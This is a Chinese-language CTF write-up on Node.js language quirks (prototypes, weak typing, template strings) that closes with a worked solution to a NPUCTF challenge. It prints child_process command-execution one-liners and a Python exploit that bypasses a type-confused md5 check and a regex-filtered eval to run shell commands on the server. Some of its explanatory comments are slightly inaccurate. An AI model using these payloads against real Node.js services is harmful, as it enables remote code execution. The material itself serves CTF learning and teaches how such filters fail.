最近发觉nodejs的一些特性很有意思,对此进行一番小结,有不足之处请师傅们补充。
原型链
源自JavaScript的原型继承模型。
prototype(原型)
几乎js的所有对象都是Object的实例,我们没办法使用class自写一个类。js中只剩下对象,我们可以从一个函数中创建一个对象ob:
function testfn() {
this.a = 1;
this.b = 2;
}
var ob = new testfn()
而从原始类型中创建对象为:
a = "test";
b = 1;
c = false
这就是js被称为弱类型的原因,这一点与php、python类似,但又不相同,比如就null来说,php和python有一个专门的类型,对php来说是NULL类型,而python中没有null,取而代之的是none,同样的其为NontType;但对于js来说不一样,引一段代码来说话:
console.log(typeof(null))
//输出 object
而我们的null被称为原型对象,也就是万事万物的源点。
再谈谈js的数据类型,其大致分为两大类,一为基本类型,二为引用类型:
基本类型有:String、Number、boolean、null、undefined。
引用类型有:Object、Array、RegExp、Date、Function。
就数据类型来说,事实上也是JavaScript中的内置对象,也就是说JavaScript没有类的概念,只有对象。对于对象
来说,我们可以通过如下三种方式访问其原型:
function testfn() {
this.a = 1;
this.b = 2;
}
var ob = new testfn()
//function
console.log(testfn["__proto__"])
console.log(testfn.__proto__)
console.log(testfn.constructor.prototype)
//object
console.log(ob["__proto__"])
console.log(ob.__proto__)
console.log(ob.constructor.prototype)
//tip:
//ob.__proto__ == testfn.prototype
示例
下面再看一个关于prototype(原型)用法的例子:
Array.prototype.test = function test(){
console.log("Come from prototype")
}
a = []
a.test()
//输出 Come from prototype
若是以java这种强类型语言对于类的定义来解释,我们可以把prototype看作是一个类的一个属性,而该属性指向了本类的父类, Array.prototype.test
即是给父类的test添加了一个test方法,当任何通过Array实例化的对象都会拥有test方法,即子类继承父类的非私有属性,所以当重新定义了父类中的属性时,其他通过子类实例化的对象也会拥有该属性,只能说是类似于上述解释,但不可完全以上述解释来解释原型,因为js对于类的定义有些模糊。
console.log([].__proto__)
console.log([].__proto__.__proto__)
console.log([].__proto__.__proto__.__proto__)
其原型链如下:
[] -> Array -> Object -> null
原型链的网上资料很多就不多讲了。
弱类型
大小比较
这个类似与php,这个就很多啦,直接看代码示例理解更快:
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false
总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false。
数组的比较:
console.log([]==[]); //false
console.log([]>[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false
总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较。
还有一些比较特别的相等:
console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false
变量拼接
console.log(5+[6,6]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
模块加载与命令执行
在一些沙盒逃逸时我们通常是找到一个可以执行任意命令的payload,若是在ctf比赛中,我们需要getflag时通常是需要想尽办法加载模块来达成特殊要求。
比赛中常见可以通过child_process模块来加载模块,获得exec,execfile,execSync。
- 通过require加载模块如下:
require('child_process').exec('calc');
- 通过global对象加载模块
global.process.mainModule.constructor._load('child_process').exec('calc');
对于一些上下文中没有require的情况下,通常是想办法使用后者来加载模块,事实上,node的Function(...)并不能找到require这个函数。
有些情况下可以直接用require,如eval。
代码执行
eval("require('child_process').exec('calc');");
setInterval(require('child_process').exec,1000,"calc");
setTimeout(require('child_process').exec,1000,"calc");
Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();
这里可以发现对于Function来说上下文并不存在require,需要从global中一路调出来exec。
大小写特性
这个p神发过啦,简单易懂。
总结下来就是有两个奇特的字符"ı"、"ſ",还有一个K的加粗版,前两个用toUpperCase可以分别转为'I'和'S',后一个使用toLowerCase可以转为小写的k。
p神的文章:Fuzz中的javascript大小写特性
ES6模板字符串
我们可以使用反引号替代括号执行函数,如:
alert`test!!`
可以用反引号替代单引号双引号,可以在反引号内插入变量,如:
var fruit = "apple";
console.log`i like ${fruit} very much`;
事实上,模板字符串是将我们的字符串作为参数传入函数中,而该参数是一个数组,该数组会在遇到${}
时将字符串进行分割,具体为下:
["i like ", " very much", raw: Array(2)]
0: "i like "
1: " very much"
length: 2
raw: (2) ["i like ", " very much"]
__proto__: Array(0)
所以有时使用反引号执行会失败,所以如下是无法执行的:
eval`alert(2)`
实战
这道题取自NPUCTF的验证码,发现这道题挺好,用来入门nodejs挺好,首先给出源码:
const express = require('express');
const bodyParser = require('body-parser');
const cookieSession = require('cookie-session');
const fs = require('fs');
const crypto = require('crypto');
const keys = require('./key.js').keys;
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
} // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个
const template = fs.readFileSync('./index.html').toString();
function render(results) {
return template.replace('{{results}}', results.join('<br/>'));
}
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
app.use(cookieSession({
name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿,
keys
}));
Object.freeze(Object);
Object.freeze(Math);
app.post('/', function (req, res) {
let result = '';
const results = req.session.results || [];
const { e, first, second } = req.body;
if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) {
if (req.body.e) {
try {
result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!';
} catch (e) {
console.log(e);
result = 'Wrong Wrong Wrong!!!';
}
results.unshift(`${req.body.e}=${result}`);
}
} else {
results.unshift('Not verified!');
}
if (results.length > 13) {
results.pop();
}
req.session.results = results;
res.send(render(req.session.results));
});
// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});
app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
req.session.admin = req.session.admin || 0;
res.send(render(req.session.results = req.session.results || []))
});
app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});
首先看到saferEval函数,我们看到只要绕过正则之后就可以利用在代码执行处所说的eval来执行代码;在此之前看看调用了saferEval的地方,这里要绕过就需要利用到前面说的弱类型了:
if (first && second && first.length === second.length && first!==second &&md5(first+keys[0]) === md5(second+keys[0]))
first和second都是我们可控的,这里要我们first和second不相等但长度又需要相等,同时还要在最后加上key之后进行md5要相等,要符合一系列条件较难,然而弱类型帮了一把。
md5处使用了变量的拼接,因此我们可以利用类似'a'+key[0]==['a']+key[0]
进行绕过,而且关键在于first和second的比较使用了!===
。这也给绕过提供了帮助。
抓包时候会发现是默认请求类型是x-www-form-urlencoded,无法传输数组,但因为这里使用了body-parser
模块内的json,因此可以改下头application/json。
#-*- coding:utf-8 -*-
#__author__: HhhM
import requests
import json
print("Start the program:")
url = "http://xxx/"
headers = {"Content-Type": "application/json"}
data = json.dumps({'e': "1+1", "first": [1], "second": "1"})
r = requests.post(url, headers=headers, data=data)
print(r.text)
输出为2,证明前面成功绕过了,接下来考虑saferEval
,看看正则:
str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')
我们需要让我们的正则符合他的要求,利用前两个正则我们可以构造出如:
(Math)
,Math.xxx(xxx)
也支持使用arrow function(箭头函数),我们可以使用箭头函数配合Math通过原型获取到Function,使用我上面提到的Function,通过global一路调出来exec执行任意命令。
Math=>(Math=Math.constructor,Math.constructor)
这样虽然可以得到Function,但限于正则我们无法执行命令,这里绕过采用String.fromCharCode,String可以通过变量拼接拼接出一个字符串,再调用constructor获取到String对象。
因此exp如下:
#-*- coding:utf-8 -*-
#__author__: HhhM
import requests
import json
import re
def payload():
s = "return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')"
return ','.join([str(ord(i)) for i in s])
a = payload()
print("Start the program:")
url = "http://xxx/"
headers = {"Content-Type": "application/json"}
e = "(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({0}))()))(Math+1)".format(a)
data = json.dumps({'e': e, "first": [1], "second": "1"})
r = requests.post(url, headers=headers, data=data)
print(r.text)
一些无关紧要的点
- let不能声明一个已经存在的变量,会导致报错,暂存死区了解一下。
-
console.log(typeof(NaN))
输出为number。